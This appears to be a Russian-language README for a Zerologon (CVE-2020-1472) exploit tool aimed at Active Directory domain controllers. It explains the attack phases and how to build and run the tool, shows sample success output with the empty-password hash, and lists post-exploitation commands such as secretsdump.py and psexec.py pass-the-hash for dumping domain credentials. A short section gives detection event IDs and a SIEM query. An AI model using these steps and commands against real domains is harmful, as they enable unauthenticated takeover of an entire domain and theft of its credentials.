
Zerologon (CVE-2020-1472) — приложение для Proof-of-Concept — критический инструмент эксплуатации уязвимости Active Directory.
Этот проект представляет собой реализацию уязвимости Zerologon (CVE-2020-1472), одной из самых критических уязвимостей безопасности Active Directory. Данная уязвимость позволяет неаутентифицированному злоумышленнику скомпрометировать весь домен Active Directory, сбрасывая пароль учетной записи компьютера контроллера домена.
Zerologon — это криптографический дефект в протоколе удаленного входа в систему Microsoft Netlogon (MS-NRPC). Уязвимость заключается в том, как Netlogon использует шифрование AES-CFB8 с жестко заданным вектором инициализации (IV), равным нулю.
Краткое техническое описание:
1. Выбор цели
└─> Определение контроллера домена (FQDN, NetBIOS-имя, учетная запись компьютера)
2. Фаза запроса (I_NetServerReqChallenge)
└─> Отправка нулевого клиентского запроса (0x0000000000000000)
└─> Получение запроса сервера
3. Фаза аутентификации (I_NetServerAuthenticate2)
└─> Попытка аутентификации с пустыми учетными данными
└─> Повтор до успеха (~1/256 успешных попыток)
4. Фаза сброса пароля (I_NetServerPasswordSet2)
└─> Сброс пароля учетной записи компьютера контроллера домена на пустой
└─> Новый NT-хеш: 31d6cfe0d16ae931b73c59d7e0c089c0 (пустой пароль)
5. Пост-эксплуатация
└─> Использование Pass-the-Hash с пустыми учетными данными
└─> Полная компрометация домена
Использование Visual Studio:
1. Откройте Visual Studio
2. Выберите **Build Solution** в меню **Build**.
Zerologon.exe <DC_FQDN> <DC_NetBIOS_Name> <Machine_Account_Name>
Пример:
Zerologon.exe DC01.corp.example.com DC01 DC01$
DC_FQDN: Полное доменное имя целевого контроллера доменаDC_NetBIOS_Name: NetBIOS-имя контроллера домена (обычно имя хоста)Machine_Account_Name: Имя учетной записи компьютера (должно заканчиваться на $)Успешная эксплуатация:
[+] Целевой контроллер домена:
FQDN : DC01.corp.example.com
NetBIOS-имя : DC01
Учетная запись : DC01$
[+] УСПЕХ: Пароль учетной записи компьютера сброшен на пустой!
[+] Теперь используйте Pass-the-Hash с:
.\DC01$:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[+] Затем выполните: secretsdump.py -just-dc <domain>/<dc_account>@<dc_ip>
Неудачная эксплуатация (система исправлена):
[-] Атака не удалась после 2000 попыток. Цель, вероятно, исправлена.
После успешного сброса пароля контроллера домена вы можете:
secretsdump.py -no-pass -just-dc 'DOMAIN/DC01$'@192.168.1.10
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC01$'@DC01
Сетевое обнаружение:
Обнаружение по журналам:
Просмотр событий → Журналы Windows → Система
- Идентификатор события 5827: Множественные сбои проверки пароля
- Идентификатор события 5829: Сброс защищенного канала
Запросы SIEM:
source="WinEventLog:System" EventCode=5827 OR EventCode=5829
| stats count by Computer, SourceIP
| where count > 100
Этот инструмент предоставляется только для образовательных целей и авторизованных исследований безопасности.
Автор не несет НИКАКОЙ ответственности за неправомерное использование этого кода.
Этот проект лицензирован по лицензии MIT. Дополнительную информацию см. в файле LICENSE.